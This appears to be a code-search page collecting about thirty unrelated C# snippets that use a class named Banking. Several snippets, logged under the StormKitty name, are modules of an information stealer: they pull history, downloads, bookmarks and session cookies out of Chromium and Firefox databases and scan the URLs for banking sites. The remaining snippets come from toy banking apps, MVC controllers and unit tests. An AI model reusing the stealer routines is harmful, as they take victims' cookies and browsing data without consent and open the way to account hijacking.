Пример #1
0
        /// <summary>
        /// Get History from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with history</returns>
        public static List <Site> Get(string sHistory)
        {
            try
            {
                List <Site> scHistory = new List <Site>();

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "urls");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.iCount = System.Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1;

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.History++;
                    scHistory.Add(sSite);
                }

                return(scHistory);
            }
            catch { return(new List <Site>()); }
        }
Пример #2
0
        /// <summary>
        /// Get Downloads from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with downloads</returns>
        public static List <Site> Get(string sHistory)
        {
            List <Site> scDownloads = new List <Site>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "downloads");
                if (sSQLite == null)
                {
                    return(scDownloads);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 17));

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.Downloads++;
                    scDownloads.Add(sSite);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect downloads\n" + ex); }
            return(scDownloads);
        }
Пример #3
0
        /// <summary>
        /// Get Downloads from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with downloads</returns>
        public static List <Site> Get(string sHistory)
        {
            try
            {
                List <Site> scDownloads = new List <Site>();

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "downloads");
                if (sSQLite == null)
                {
                    return(scDownloads);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 17));

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.Downloads++;
                    scDownloads.Add(sSite);
                }

                return(scDownloads);
            }
            catch { return(new List <Site>()); }
        }
Пример #4
0
        // Get cookies from gecko browser
        public static List <Site> Get(string path)
        {
            List <Site> scHistory = new List <Site>();

            try
            {
                string sHistoryPath = GetHistoryDBPath(path);

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistoryPath, "moz_places");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.iCount = Convert.ToInt32(sSQLite.GetValue(i, 4)) + 1;

                    if (sSite.sTitle != "0")
                    {
                        // Analyze value
                        Banking.ScanData(sSite.sUrl);
                        Counter.History++;
                        scHistory.Add(sSite);
                    }
                }
            }
            catch (Exception ex) { StormKitty.Logging.Log("Firefox >> history collection failed\n" + ex); }
            return(scHistory);
        }
Пример #5
0
        // Get cookies from gecko browser
        public static List <Cookie> Get(string path)
        {
            List <Cookie> lcCookies = new List <Cookie>();

            try
            {
                string sCookiePath = GetCookiesDBPath(path);

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sCookiePath, "moz_cookies");
                if (sSQLite == null)
                {
                    return(lcCookies);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Cookie cCookie = new Cookie();
                    cCookie.sHostKey    = sSQLite.GetValue(i, 4);
                    cCookie.sName       = sSQLite.GetValue(i, 2);
                    cCookie.sValue      = sSQLite.GetValue(i, 3);
                    cCookie.sPath       = sSQLite.GetValue(i, 5);
                    cCookie.sExpiresUtc = sSQLite.GetValue(i, 6);

                    // Analyze value
                    Banking.ScanData(cCookie.sHostKey);
                    Counter.Cookies++;
                    lcCookies.Add(cCookie);
                }

                return(lcCookies);
            }
            catch (Exception ex) { Console.WriteLine(ex); }
            return(new List <Cookie>());
        }
Пример #6
0
        public Banking ToMaxIdBankingAsync(Banking banking)
        {
            //var setting = await _dataContext.BankingSettings
            //    .Include(b => b.Bankings)
            //    .Where(b => b.Id == banking.Id);
            //var setting = _dataContext.Bankings
            //    .Include(bank => bank.BankingSettingId);

            //var _setting = this.ToBankingSetting(setting);
            //if (_setting == null)
            //{
            return(null);
            //}

            //return new BankingViewModel
            //{
            //    IdType = banking.IdType,
            //    Id = banking.Id,
            //    Document = banking.Document
            //    //BankingSettingId = setting.BankingSettingId,
            //    //MinutesCancelTicket = setting.MinutesCancelTicket,
            //    //MaximumTicketsCancelDay = setting.MaximumTicketsCancelDay,
            //    //MinimumTicketAmount = setting.MinimumTicketAmount
            //};
        }
Пример #7
0
        private void btnWithdrawConfirm_Click(object sender, EventArgs e)
        {
            decimal wa;

            if (!decimal.TryParse(txtWithdrawAmount.Text, out wa))
            {
                lblWithdrawAmount.Text = "Please enter a number!";
            }
            else
            {
                var be   = new Banking();
                var data = (from account in be.Accounts
                            where account.AccountNo == Account_No
                            select account).Single();
                decimal new_bal = data.Balance - wa;
                if (new_bal < 0)
                {
                    lblWithdrawAmount.Text = "Not enough Funds!";
                }
                else
                {
                    data.Balance = new_bal;
                    var withdrawal =
                        new Transactions("w", data.AccountNo, wa, DateTime.Now);
                    be.Transactions.InsertOnSubmit(withdrawal);
                    be.SubmitChanges();
                    Close();
                }
            }
        }
Пример #8
0
        public void DepositTest()
        {
            var _banking = new Banking();

            _banking.RecordDeposit(15);
            Assert.AreEqual(_banking.balance, 65);
        }
Пример #9
0
        public ActionResult Main()
        {
            Service.ServiceClient service = new Service.ServiceClient();
            using (NmoorEntity db = new NmoorEntity())
            {
                if (Session["username"] == null)
                {
                    return(View("~/Views/Home/Login.cshtml"));
                }
                else
                {
                    var account = from u in db.User.ToList()
                                  where u.username == Session["username"].ToString()
                                  select u;
                    var userSession = Session["username"].ToString();
                    var recent      = Banking.RecentActivity(userSession);

                    var     user      = Session["username"].ToString();
                    var     amount    = db.User.Where(u => u.username == user).SingleOrDefault();
                    decimal n         = amount.balance.Value;
                    var     converted = service.convertCurrency(n, "USD");
                    ViewBag.converted = string.Format("{0:C}", converted);

                    ViewBag.recent = recent;
                    return(View(account));
                }
            }
        }
Пример #10
0
        /// <summary>
        /// Get History from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with history</returns>
        public static List <Site> Get(string sHistory)
        {
            List <Site> scHistory = new List <Site>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "urls");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.iCount = System.Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1;

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.History++;
                    scHistory.Add(sSite);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect history\n" + ex); }
            return(scHistory);
        }
Пример #11
0
        /// <summary>
        /// Simple constructor to instantiate the nbank account and set the user name and password
        /// </summary>
        /// <param name="userName"></param>
        /// <param name="password"></param>
        public UserAccount(string userName, string password)
        {
            UserName = userName;
            Password = password;

            BankAccount = new Banking();
        }
Пример #12
0
        private void btnSignIn_Click(object sender, EventArgs e)
        {
            lblResponse.Text = "";
            lblWarn.Text     = "";

            if (!isValid(txtUserName.Text, txtPass.Text))
            {
                lblResponse.Text = "Invalid username or password";
            }
            else
            {
                var be   = new Banking();
                var data = (from customer in be.Customers
                            join account in be.Accounts
                            on customer.AccountNo equals account.AccountNo
                            where customer.UserName == txtUserName.Text
                            select customer).Single();

                var data1 = (from customer in be.Customers
                             join account in be.Accounts
                             on customer.AccountNo equals account.AccountNo
                             where customer.UserName == txtUserName.Text
                             select account).Single();

                var main = new Main((double)data1.Balance, data.CustomerID, data.AccountNo);
                main.ShowDialog();
            }
        }
Пример #13
0
        // Get bookmarks from gecko browser
        public static List <Bookmark> Get(string path)
        {
            List <Bookmark> scBookmark = new List <Bookmark>();

            try
            {
                string sCookiePath = GetBookmarksDBPath(path);
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sCookiePath, "moz_bookmarks");
                if (sSQLite == null)
                {
                    return(scBookmark);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Bookmark bBookmark = new Bookmark();
                    bBookmark.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 5));

                    if (Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1)).Equals("0") && bBookmark.sTitle != "0")
                    {
                        // Analyze value
                        Banking.ScanData(bBookmark.sTitle);
                        Counter.Bookmarks++;
                        scBookmark.Add(bBookmark);
                    }
                }
            }
            catch (Exception ex) { StormKitty.Logging.Log("Firefox >> bookmarks collection failed\n" + ex); }
            return(scBookmark);
        }
Пример #14
0
        public static void Main(string[] args)
        {
            Customer customer = new Customer
            {
                CustomerID = 124,
                Name       = "sanjay ",
                CardNo     = 123456,
                Balance    = 100,
            };

            CustomerCollection repository = new CustomerCollection();
            List <Customer>    list       = repository.CustomersList();
            Banking            banking    = new Banking();

            banking.Customers = list;

            ATM atm = new ATM()
            {
                TotalAmount = 100.99
            };


            bool repeat = false;

            do
            {
                int option = (int)KeyboardHelper.ReadNumber("1. Withdraw 2. Deposite 3. Transactions");
                switch (option)
                {
                case 1:
                    KeyboardHelper.Status(banking.Withdraw(atm, customer));
                    repeat = true;
                    break;

                case 2:
                    KeyboardHelper.Status(banking.Deposit(atm, customer));
                    repeat = true;
                    break;

                case 3:
                    print(banking.ViewTransactions(customer));
                    repeat = true;
                    break;

                case 4:
                    KeyboardHelper.print(banking.Balance(customer));
                    repeat = true;
                    ;
                    break;

                case 5:
                    Console.WriteLine("Thank you for visiting us.");
                    repeat = false;
                    ;
                    break;
                }
                option = 0;
            } while (repeat);
        }
Пример #15
0
 public Bank() : base(12, 3)
 {
     Name         = "Bank";
     RequiredTech = new Banking();
     SetIcon(2, 0, true);
     SetSmallIcon(1, 4);
     Type = Building.Bank;
 }
        public IActionResult Update(Banking banking)
        {
            var result = _bankingService.Update(banking);

            if (result.Success)
            {
                return(Ok(result));
            }
            return(BadRequest(result));
        }
Пример #17
0
        public void HistoryTest()
        {
            var _banking = new Banking();

            _banking.RecordDeposit(15);

            Assert.AreEqual(_banking.history[0].NewBankBalance, 65);
            Assert.AreEqual(_banking.history[0].OldBankBalance, 50);
            Assert.AreEqual(_banking.history[0].Change, 15);
        }
Пример #18
0
 public override Banking AddNewAccount(Banking item)
 {
     if (item == null)
     {
         throw new NotImplementedException();
     }
     item.id = counter++;
     accounts.Add(item);
     return(item);
 }
        public IActionResult GetByFilter(Banking banking)
        {
            var result = _bankingService.GetByFilter(banking);

            if (result.Success)
            {
                return(Ok(result));
            }
            return(BadRequest(result));
        }
Пример #20
0
        /// <summary>
        /// Get bookmarks from chromium based browsers
        /// </summary>
        /// <param name="sBookmarks"></param>
        /// <returns>List with bookmarks</returns>
        public static List <Bookmark> Get(string sBookmarks)
        {
            try
            {
                List <Bookmark> bBookmarks = new List <Bookmark>();


                if (!File.Exists(sBookmarks))
                {
                    return(bBookmarks);
                }

                string data = File.ReadAllText(sBookmarks, System.Text.Encoding.UTF8); // Load file content

                data = Regex.Split(data, "      \"bookmark_bar\": {")[1];
                data = Regex.Split(data, "      \"other\": {")[0];


                string[] payload = Regex.Split(data, "},");
                foreach (string parse in payload)
                {
                    if (parse.Contains("\"name\": \"") &&
                        parse.Contains("\"type\": \"url\",") &&
                        parse.Contains("\"url\": \"http")
                        )
                    {
                        int index = 0;
                        foreach (string target in Regex.Split(parse, Parser.separator))
                        {
                            index++;
                            Bookmark bBookmark = new Bookmark();
                            if (Parser.DetectTitle(target))
                            {
                                bBookmark.sTitle = Parser.Get(parse, index);
                                bBookmark.sUrl   = Parser.Get(parse, index + 2);

                                if (string.IsNullOrEmpty(bBookmark.sTitle))
                                {
                                    continue;
                                }
                                if (!string.IsNullOrEmpty(bBookmark.sUrl) && !bBookmark.sUrl.Contains("Failed to parse url"))
                                {
                                    // Analyze value
                                    Banking.ScanData(bBookmark.sUrl);
                                    Counter.Bookmarks++;
                                    bBookmarks.Add(bBookmark);
                                }
                            }
                        }
                    }
                }
                return(bBookmarks);
            }
            catch { return(new List <Bookmark>()); }
        }
Пример #21
0
 public ActionResult Withdraw(Withdraw withdraw)
 {
     withdraw.Username = Session["username"].ToString();
     if (Banking.WithDraw(withdraw))
     {
         TempData["Msg"] = "🎉 Withdraw Successful !!!";
         return(RedirectToAction("Main"));
     }
     TempData["Msg"] = "😢 Oops! Something went wrong please try again later.";
     return(RedirectToAction("Main"));
 }
Пример #22
0
 /// <summary>
 /// This sends money to another user using the secured token (with the method Banking.SenderUsername)
 /// </summary>
 /// <param name="transfer"></param>
 /// <returns></returns>
 public ActionResult SendTransfer(TransferViewModel transfer)
 {
     transfer.SenderUsername = Session["username"].ToString();
     if (Banking.SendTransfer(transfer))
     {
         TempData["Msg"] = "🎉 Transfer In-progress!!!";
         return(RedirectToAction("Main"));
     }
     TempData["Msg"] = "😢 Sorry transaction failed *Click Back-arrow in brawers to Try-Again*.";
     return(RedirectToAction("Main"));
 }
Пример #23
0
        private double GetBalance()
        {
            var dbContext = new Banking();
            var data      = (from account in dbContext.Accounts
                             join customer in dbContext.Customers
                             on account.AccountNo equals customer.AccountNo
                             where account.AccountNo == this.Account_No
                             select account).Single();

            return((double)data.Balance);
        }
Пример #24
0
        /// <summary>
        /// ViewTransfer view current transfer sent from other user
        /// </summary>
        /// <returns></returns>
        public ActionResult ViewTransfer()
        {
            if (Session["username"] == null)
            {
                return(View("~/Views/Home/Login.cshtml"));
            }
            var user = Session["username"].ToString();
            var all  = Banking.ShowCurrentTransfar(user);

            ViewData["all"] = all;
            return(View(all));
        }
Пример #25
0
        /// <summary>
        /// the function is used when the user accept money from sender
        /// </summary>
        /// <param name="id">gets the id from the listed transers</param>
        /// <returns></returns>
        public ActionResult Accept(int id)
        {
            var senderUsername = Session["username"].ToString();

            if (Banking.ReceieveTransfer(senderUsername, id))
            {
                TempData["Msg"] = "😎 Money deposited to your account shortly...";
                return(RedirectToAction("Main"));
            }
            TempData["Msg"] = "😢 Sorry transaction failed";
            return(RedirectToAction("Main"));
        }
Пример #26
0
        public ActionResult Deposit(DepositViewModel deposit)
        {
            deposit.Username = Session["username"].ToString();
            if (Banking.Deposit(deposit))
            {
                TempData["Msg"] = "🎉 Deposit Successful !!!";
                return(RedirectToAction("Main"));
            }

            TempData["Msg"] = "😢 Oops! Something went wrong please contact your Financial Institution";
            return(RedirectToAction("Main"));
        }
Пример #27
0
    public void GainExperience(long amount)
    {
        if (Banking.GetSkillLevelUnboosted() >= AutoCollectLevel)
        {
            return;
        }
        Banking.Experience += amount;

        if (Banking.Experience >= (long)Skill.GetExperienceRequired(Banking.GetSkillLevelUnboosted()))
        {
            LevelUp();
        }
    }
Пример #28
0
        public IDataResult <Banking> GetByFilter(Banking banking)
        {
            var result = _bankingDal.GetById(b =>
                                             b.NameOnCard == banking.NameOnCard &&
                                             b.CardNumber == banking.CardNumber &&
                                             b.ExpiryDate == banking.ExpiryDate &&
                                             b.Cvc == banking.Cvc);

            if (result != null)
            {
                return(new SuccessDataResult <Banking>(result, Messages.Listed));
            }
            return(new ErrorDataResult <Banking>(Messages.Listed));
        }
Пример #29
0
        public void WithdrawalTest()
        {
            var _banking = new Banking();

            // Value will stay the same - balance cant drop below 0
            _banking.RecordWithdrawal(-65);
            Assert.AreEqual(_banking.balance, 50);

            _banking.RecordWithdrawal(-10);
            Assert.AreEqual(_banking.balance, 40);

            // Make sure balance can hit 0
            _banking.RecordWithdrawal(-40);
            Assert.AreEqual(_banking.balance, 0);
        }
Пример #30
0
        public async Task <IActionResult> Create(Banking banking)
        {
            if (ModelState.IsValid)
            {
                var company = await _companyRepository.GetCompany(1);

                //banking.User = await _userHelper.GetUserByEmailAsync(User.Identity.Name);
                //banking.IdType = company.IdType;
                //banking.FechaHora = DateTime.UtcNow;
                await _bankingRepository.CreateAsync(banking);

                return(RedirectToAction(nameof(Index)));
            }
            return(View(banking));
        }